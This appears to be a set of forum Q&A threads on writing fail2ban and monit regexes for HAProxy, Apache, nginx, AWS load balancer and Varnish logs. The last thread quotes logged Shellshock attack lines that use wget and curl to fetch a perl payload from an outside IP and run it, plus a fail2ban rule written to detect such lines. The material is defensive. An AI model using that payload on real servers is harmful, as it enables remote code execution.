by using fail2ban I want to block IPs which match with error 429 in haproxy log.
by using fail2ban I want to block IPs which match with error 429 in haproxy log. I already tried below regex but didn't work. You suggestion is appreciated
failregex = .*:<HOST>(?::\d+)?\s+.*\d* 429
failregex = ^%(__prefix_line)s<HOST>(?::\d+)?\s+.*<NOSRV> -1/-1/-1/-1/\+*\d* 429
Sample haproxy log
Feb 16 07:43:51 ip-10-100-212-165 haproxy[1624130]: 158.118.198.219:42990 [16/Feb/2023:07:43:50.242] r_a_i~ it_backup_server/it-server-04-de 0/0/0/1181/1181 429 4436 - - --NI 1211/1210/38/13/0 0/0 "POST / HTTP/1.1"
you should adjust the regex into something more generic, like this:
^<HOST>.*\s429\s
Related
Sorry all,
i plan to fetch alert for monit content based on apache log files but i think this regex is wrong as i thought this will be work like based in grep i use from shell
check file vhost with path /var/log/apache2/other_vhosts_access.log
if content = '.*"POST /urlpath/ HTTP/1.1" 200.*' then alert
does above regex is wrong ? as i plan to alert only the line contains that word
is it possible in regex monit content to have multiple keyword regex like below for example i often use in grep
grep -P '(?=.*urlpath.*)(?=.*200.*)(?=.*302.*)' logfile
Hope you can advice me regarding above regex
Many thanks
have you read/see this https://www.mmonit.com/monit/documentation/monit.html#FILE-CONTENT-TEST
Your grep sample will not work, but you can use simple POSIX regex (see man 7 regex in a Linux system).
check file vhost with path /var/log/apache2/other_vhosts_access.log
if content = '.*"POST /urlpath/ HTTP/1.1" (200|302).*' then alert
Based on you sample message line, this will send alerts for status code 200 and 302.
If message lines with a status code 200 and 302 occur in a check time interval, you will get one alert only. The log file used by Monit should contain the matching messages.
[2022-07-13T16:32:11MESZ] error : 'vhost' content match:
"POST /urlpath/ HTTP/1.1" 200
[2022-07-13T16:33:11MESZ] info : 'vhost' content doesn't match
[2022-07-13T16:33:11MESZ] info : 'vhost' content doesn't match
[2022-07-13T16:45:11MESZ] error : 'vhost' content match:
"POST /urlpath/ HTTP/1.1" 200
[2022-07-13T16:45:11MESZ] error : 'vhost' content match:
"POST /urlpath/ HTTP/1.1" 200
"POST /urlpath/ HTTP/1.1" 302
[2022-07-13T16:46:11MESZ] error : 'vhost' content doesn't match
But the alert sent will contain both/all message lines.
We have configured Fail2ban in Suse-Linux-Enterprise Server for Rate Limiting Bots Traffic. Below is the configuration done in jail.local file.
[apache-badbots]
enabled = true
port = http,https
filter = apache-badbots
action = iptables-allports[name=apache-badbots, port="http,https" protocol=tcp]
logpath = /var/persistent/apache2/logs/site1-access.log
findtime = 60
bantime = 600
maxretry = 1
Below is the Regex Configuration.
failregex = <HOST> -.*(EmailCollector|WebEMailExtrac|TrackBack/1\.02|sogou music spider|Googlebot/2\.1)
Below is the Log Format:
[14/Jul/2020:11:38:09 +0000] 192.168.1.14 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sessionValueLink.action?crud=s&keyValue=JsMethodName&insertValue=submitShippingAddress();&dt=Tue%20Jul%2014%202020%2017:08:09%20GMT+0530%20(India%20Standard%20Time) HTTP/1.1" 200 44 [0/1894] "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/192.168.2.1 Safari/537.36"
When I ran the Regex Test, we are getting the below result.
fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-badbots.conf
Results
Failregex: 2438 total
|- #) [# of hits] regular expression
| 1) [2438] <HOST> -.*(Googlebot/2\.1)
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [113634] Day/MONTH/Year:Hour:Minute:Second
`-
Lines: 113634 lines, 0 ignored, 2438 matched, 111196 missed
Missed line(s): too many to print. Use --print-all-missed to print all 111196 lines
Issue is when we hit Google Bot continuously we are getting the IP Address is blocked in Log but it is not showing the Valid IPAddress and it is not blocking the bots traffic. Please find the below Log for your reference.
2020-07-14 14:17:18,330 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:17:18,330 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:17:18,612 fail2ban.actions[431]: INFO [apache-badbots] 0.0.1.147 already banned
2020-07-14 14:27:03,274 fail2ban.actions[431]: WARNING [apache-badbots] Unban 0.0.1.147
2020-07-14 14:38:40,817 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 302 = ['0.0.1.46']
2020-07-14 14:38:41,073 fail2ban.actions[431]: WARNING [apache-badbots] Ban 0.0.1.46
2020-07-14 14:39:49,903 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:39:50,162 fail2ban.actions[431]: WARNING [apache-badbots] Ban 0.0.1.147
What mistake we have done here? How to solve the issue. I am new to fail2ban, any help will be appreciated.
We found the solution. Issue was with Regex, It was not fetching the proper IP Address from the log. We have changed to below Mentioned Regex and it is working fine.
failregex = (?:\[\]\s+)?\<HOST> [^"]*"[^"]*" \d+ \d+ [^"]*"[^"]*\b(?:EmailCollector|WebEMailExtrac|TrackBack/1\.02|sogou music spider|Googlebot/2\.1)\b
I'm looking to parse AWS Load Balancer log files stored in S3, to calculate metrics by the site URL www.example.com instead of the virtual host app/something.com. Is this possible? I'm using GoAccess.
https 2019-11-24T23:55:01.603141Z app/something.com 34.222.222.22:47121 190.61.18.156:80 0.008 0.252 0.000 200 200 191 725 "GET https://www.example.com:443/something.php HTTP/1.1" "Wget/1.18 (linux-gnu)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:eu-west-1:6474865788:targetgroup/mytargetgroup/be12345678 "Root=1-5ddb4567-149b7e874546754ed496" "www.example.com" "arn:aws:acm:eu-west-1:6474865788:certificate/pwdsw3455-4028-5cb7-854c-gdtr555" 0 2019-11-24T23:55:01.342000Z "waf,forward" "-" "-" "190.61.18.156:80" "200"
This will work for the line you posted, though you may want to use different delimiter if any of your fields can contain additional spaces.
awk -F'[ ]' '$3=$22$3' access.log | goaccess - -a
I have setup some specific rules on nginx, blocking some urls and some extensions (aspx, sh, jsp, etc..).
I have also enable a custom access log file only for 403|429|410 errors, so that in only 1 place i can have all my access denied log.
My goal is to have fail2ban read this log and for every GET/POST that ends in a 403 error, IP should be banned.
1) nginx.conf will be logging the custom error log file like this:
log_format limit '$time_local - $remote_addr "$request" $status';
and this is a log entry:
03/Jan/2017:15:53:01 +0100 - 1.2.3.4 "GET /aaa.jsp HTTP/1.1" 403
2) i have a fail2ban filter like this (taken from here)
^<HOST> .* "(GET|POST) [^"]+" 403
3) i have tried with fail2ban-regex
fail2ban-regex /var/log/nginx/access-live-limitbot-website.log /etc/fail2ban/filter.d/nginx-403.conf
and this is the output
Results
=======
Failregex: 0 total
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [1] Day/MONTH/Year:Hour:Minute:Second
`-
Lines: 2 lines, 0 ignored, 0 matched, 2 missed
|- Missed line(s):
| 217.19.158.242 "POST /wp-login.php HTTP/1.1" 403
| 03/Jan/2017:15:53:01 +0100 - 217.19.158.242 "GET /aaa.jsp HTTP/1.1" 403
`-
and i will never get the entry matching the error code.
Will someone please help me with the regex based on my custom log?
thank you
Fail2ban is picky about the date format. Also, for ease of matching, I suggest reordering the items in the log.
For date format, see documentation here:
https://www.fail2ban.org/wiki/index.php/MANUAL_0_8
In order for a log line to match your failregex, it actually has to match in two parts: the beginning of the line has to match a timestamp pattern or regex, and the remainder of the line has to match your failregex. If the failregex is anchored with a leading ^, then the anchor refers to the start of the remainder of the line, after the timestamp and intervening whitespace.
The pattern or regex to match the time stamp is currently not documented, and not available for users to read or set. See Debian bug #491253. This is a problem if your log has a timestamp format that fail2ban doesn't expect, since it will then fail to match any lines. Because of this, you should test any new failregex against a sample log line, as in the examples below, to be sure that it will match. If fail2ban doesn't recognize your log timestamp, then you have two options: either reconfigure your daemon to log with a timestamp in a more common format, such as in the example log line above; or file a bug report asking to have your timestamp format included.
For the reorder, something like datetime - status - host (- other stuff), would help create a simple pattern such as 403.
Therefore your log should look like:
03-01-2017 15:53:01 403 1.2.3.4 "GET /aaa.jsp HTTP/1.1"
and your pattern can be
403 <HOST>
You can run this from the command line to validate as:
fail2ban-regex '03-01-2017 15:53:01 403 1.2.3.4 "GET /aaa.jsp HTTP/1.1"' '403 <HOST>'
Which produces the output:
Running tests
=============
Use regex line : 403 <HOST>
Use single line: 03-01-2017 15:53:01 403 1.2.3.4 "GET /aaa.jsp HTTP...
Matched time template Day-Month-Year Hour:Minute:Second
Got time using template Day-Month-Year Hour:Minute:Second
Results
=======
Failregex: 1 total
|- #) [# of hits] regular expression
| 1) [1] 403 <HOST>
`-
Ignoreregex: 0 total
Summary
=======
Addresses found:
[1]
1.2.3.4 (Tue Jan 03 15:53:01 2017)
Date template hits:
2 hit(s): Day-Month-Year Hour:Minute:Second
Success, the total number of match is 1
Currently have a server with 2 IPs, one internal and one external with varnish on the external and an apache backend on the internal with fail2ban running pretty much as default.
Recently the website went down returning 503 errors and it turned out fail2ban had banned the varnish from talking to the apache backend vi the apache-noscript rule. I have since added an exclusion for the ip address so this will not get banned again, but ideally I would prefer it if the client was banned in future.
From the apache logs
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
From the varnish logs
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
Would it be okay to just replicate my apache-noscript defnition to use the varnishlogs, i.e.:
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
to become
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
I have noticed the apache no script filter has has the following failregex
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
I guess the main question is will this still work for the varnishlog in the output above, if not what failregex would I need?
Many Thanks.
[EDIT] It turns out as a coincidence the noscript did the banning but not for the above log entries. Now to formulate a fail2ban regex for the above log entry.
Okay I've created a new jail with the following rule to catch the above:
failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
Please feel free to suggest improvements to the rule to catch the log line mentioned above.
The fail regex works on both the apache access log and the varnish csa log.